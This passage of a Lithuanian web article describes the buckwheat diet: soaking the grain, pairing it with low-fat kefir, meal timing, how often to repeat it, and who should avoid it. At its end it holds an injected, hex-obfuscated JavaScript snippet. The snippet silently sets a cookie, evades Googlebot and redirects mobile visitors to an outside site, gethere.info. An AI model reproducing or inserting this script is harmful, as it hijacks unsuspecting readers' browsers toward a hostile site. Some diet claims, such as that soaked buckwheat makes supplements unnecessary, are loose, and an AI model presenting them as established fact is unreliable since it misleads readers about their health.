Virti grikių košės nerekomenduojama, nes tada ji praranda daug mineralinių medžiagų. Valgant nevirtus, o išbrinkintus grikius organizmas gauna kalcio, kalio, geležies, jodo, fosforo, tad nereikia papildomai naudoti maisto papildų.

Grikių dieta papildoma kefyru

Grikių dietos racioną rekomenduojama papildyti baltymų šaltiniu – neriebiu kefyru, natūraliu jogurtu, rūgpieniu. Svarbiausia, jog tai būtų neriebūs rauginto pieno produktai. Jų per dieną galima išgerti iki litro. Toms, kurioms grikių košė atrodo per sausa ir neskani, taip suteikiama galimybė pasiskaninti ją jogurtu. Tačiau mitybos specialistai teigia, jog daugiau naudos šiuos maisto produktus valgant atskirai.

Grikių košė ir kefyras suteikia pakankamai energijos organizmui bei maistinių medžiagų. Tačiau jei visgi kankina alkis, galima užkandžiams suvalgyti saują džiovintų vaisių.

Dietos metu galima gerti vandenį, arbatą, kavą, tačiau gėrimai turi būti nesaldinti.

Porcijų paskirstymas

Dietos metu galima valgyti dažnai, tačiau mažomis porcijomis. Tarpai tarp valgių turi būti nedidesni nei dvi valandos. Paskutinį kartą galima valgyti 3 valandas prieš miegą.

Kaip dažnai galima laikytis grikių dietos?

Grikių dieta yra itin efektyvi, tačiau, žinoma, grįžus prie įprastos mitybos, ypač jei ji nesubalansuota ir nesveika, kilogramai vėl sugrįžta. Tad kyla noras vėl laikytis šios dietos. Visgi itin dažnai jos laikytis negalima. Specialistai rekomenduoja grikių dietos laikytis be dažniau kaip kas 3-6 mėnesius, taigi laikytis galima 2-4 kartus per metus.

Kam draudžiama laikytis grikių dietos?

Šios  dietos laikytis draudžiama nėščiosioms ir maitinančioms, taip pat žmonėms sergantiems chroniškomis ligomis, žmonėms, kurie neseniai sirgo ir jų imunitetas yra nusilpęs. Prieš laikantis dietos visuomet reikia pasitarti su gydytoju.

Daugiau informacijos tinklalapyje Los.lt

Savevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}